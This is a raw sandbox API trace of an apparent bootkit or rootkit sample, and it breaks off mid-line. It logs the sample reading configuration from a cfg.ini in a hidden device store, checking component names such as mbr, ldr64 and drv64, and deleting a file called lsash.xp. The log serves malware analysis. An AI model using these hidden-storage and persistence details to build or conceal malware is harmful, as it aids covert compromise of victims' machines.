[0126.491] IdePortDispatch () returned 0x103 [0126.491] KeWaitForMutexObject () returned 0x0 [0126.491] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.491] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.491] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.491] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.491] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.491] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8007081bc0 [0126.491] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.491] KeLeaveCriticalRegion () [0126.492] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.492] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.492] KeEnterCriticalRegion () [0126.492] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.492] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.492] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.492] KeLeaveCriticalRegion () [0126.492] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.492] KeEnterCriticalRegion () [0126.492] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.492] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.492] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.492] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.492] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0126.492] IdePortDispatch () returned 0x103 [0126.492] KeWaitForMutexObject () returned 0x0 [0126.492] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.492] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.492] KeLeaveCriticalRegion () [0126.492] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.492] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.492] KeEnterCriticalRegion () [0126.492] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.492] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034b5000 [0126.492] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.492] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.492] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.492] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.492] IdePortDispatch () returned 0x103 [0126.493] KeWaitForMutexObject () returned 0x0 [0126.493] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.493] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.493] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.493] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.493] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.493] IdePortDispatch () returned 0x103 [0126.493] KeWaitForMutexObject () returned 0x0 [0126.493] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.493] KeLeaveCriticalRegion () [0126.493] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.493] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.493] KeEnterCriticalRegion () [0126.493] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.494] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.494] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.494] KeLeaveCriticalRegion () [0126.494] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.494] KeEnterCriticalRegion () [0126.494] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.494] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0126.494] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfa610, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.494] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.494] KeLeaveCriticalRegion () [0126.494] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.494] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.494] KeEnterCriticalRegion () [0126.494] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.494] ExFreePoolWithTag (P=0xfffffa8007081bc0, Tag=0x0) [0126.494] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.494] KeLeaveCriticalRegion () [0126.494] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.494] ReleaseMutex (hMutex=0xf0) returned 1 [0126.494] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.494] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0126.494] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.494] KeEnterCriticalRegion () [0126.494] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.494] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.494] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.494] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.494] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.494] IdePortDispatch () returned 0x103 [0126.494] KeWaitForMutexObject () returned 0x0 [0126.494] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.494] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.494] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.494] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.494] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.494] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037e1480 [0126.494] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.494] KeLeaveCriticalRegion () [0126.494] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.495] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.495] KeEnterCriticalRegion () [0126.495] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.495] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.495] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.495] KeLeaveCriticalRegion () [0126.495] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.495] KeEnterCriticalRegion () [0126.495] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.495] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.495] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.495] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.495] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0126.495] IdePortDispatch () returned 0x103 [0126.495] KeWaitForMutexObject () returned 0x0 [0126.495] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.495] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.495] KeLeaveCriticalRegion () [0126.495] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.495] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.495] KeEnterCriticalRegion () [0126.495] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.495] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034b6000 [0126.495] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.495] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.495] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.495] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.495] IdePortDispatch () returned 0x103 [0126.495] KeWaitForMutexObject () returned 0x0 [0126.496] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.496] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.496] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.496] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.496] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.496] IdePortDispatch () returned 0x103 [0126.496] KeWaitForMutexObject () returned 0x0 [0126.496] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.496] KeLeaveCriticalRegion () [0126.496] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.496] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.496] KeEnterCriticalRegion () [0126.496] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.496] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.496] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.496] KeLeaveCriticalRegion () [0126.496] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.496] KeEnterCriticalRegion () [0126.496] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.496] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0126.497] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfaca0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.497] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.497] KeLeaveCriticalRegion () [0126.497] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.497] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.497] KeEnterCriticalRegion () [0126.497] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.497] ExFreePoolWithTag (P=0xfffffa80037e1480, Tag=0x0) [0126.497] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.497] KeLeaveCriticalRegion () [0126.497] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.497] ReleaseMutex (hMutex=0xf0) returned 1 [0126.497] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.497] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0126.497] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.497] KeEnterCriticalRegion () [0126.497] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.497] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.497] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.497] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.497] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.497] IdePortDispatch () returned 0x103 [0126.497] KeWaitForMutexObject () returned 0x0 [0126.497] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.497] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.497] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.497] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.497] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.497] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037d9110 [0126.497] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.497] KeLeaveCriticalRegion () [0126.497] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.497] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.497] KeEnterCriticalRegion () [0126.497] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.497] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.497] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.497] KeLeaveCriticalRegion () [0126.498] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.498] KeEnterCriticalRegion () [0126.498] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.498] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.498] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.498] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.498] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0126.498] IdePortDispatch () returned 0x103 [0126.498] KeWaitForMutexObject () returned 0x0 [0126.498] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.498] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.498] KeLeaveCriticalRegion () [0126.498] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.498] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.498] KeEnterCriticalRegion () [0126.498] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.498] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034b7000 [0126.498] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.498] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.498] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.498] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.498] IdePortDispatch () returned 0x103 [0126.498] KeWaitForMutexObject () returned 0x0 [0126.498] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.498] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.498] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.498] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.498] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.498] IdePortDispatch () returned 0x103 [0126.499] KeWaitForMutexObject () returned 0x0 [0126.499] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.499] KeLeaveCriticalRegion () [0126.499] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.499] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.499] KeEnterCriticalRegion () [0126.499] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.499] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.499] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.499] KeLeaveCriticalRegion () [0126.499] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.499] KeEnterCriticalRegion () [0126.499] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.499] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0126.499] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003ac62d0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.499] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.499] KeLeaveCriticalRegion () [0126.499] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.499] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.499] KeEnterCriticalRegion () [0126.499] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.499] ExFreePoolWithTag (P=0xfffffa80037d9110, Tag=0x0) [0126.499] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.499] KeLeaveCriticalRegion () [0126.500] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.500] ReleaseMutex (hMutex=0xf0) returned 1 [0126.500] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0126.500] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0126.500] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0126.500] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0126.500] KeEnterCriticalRegion () [0126.500] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.500] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.500] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.500] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.500] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.500] IdePortDispatch () returned 0x103 [0126.500] KeWaitForMutexObject () returned 0x0 [0126.500] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.500] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0126.500] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.500] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.500] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.500] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.500] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.500] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.500] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.500] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0126.500] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.500] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.500] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.500] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.500] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.500] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.500] KeLeaveCriticalRegion () [0126.500] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.500] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0126.500] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0126.500] KeEnterCriticalRegion () [0126.500] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.500] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.501] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.501] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.501] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.501] IdePortDispatch () returned 0x103 [0126.501] KeWaitForMutexObject () returned 0x0 [0126.501] 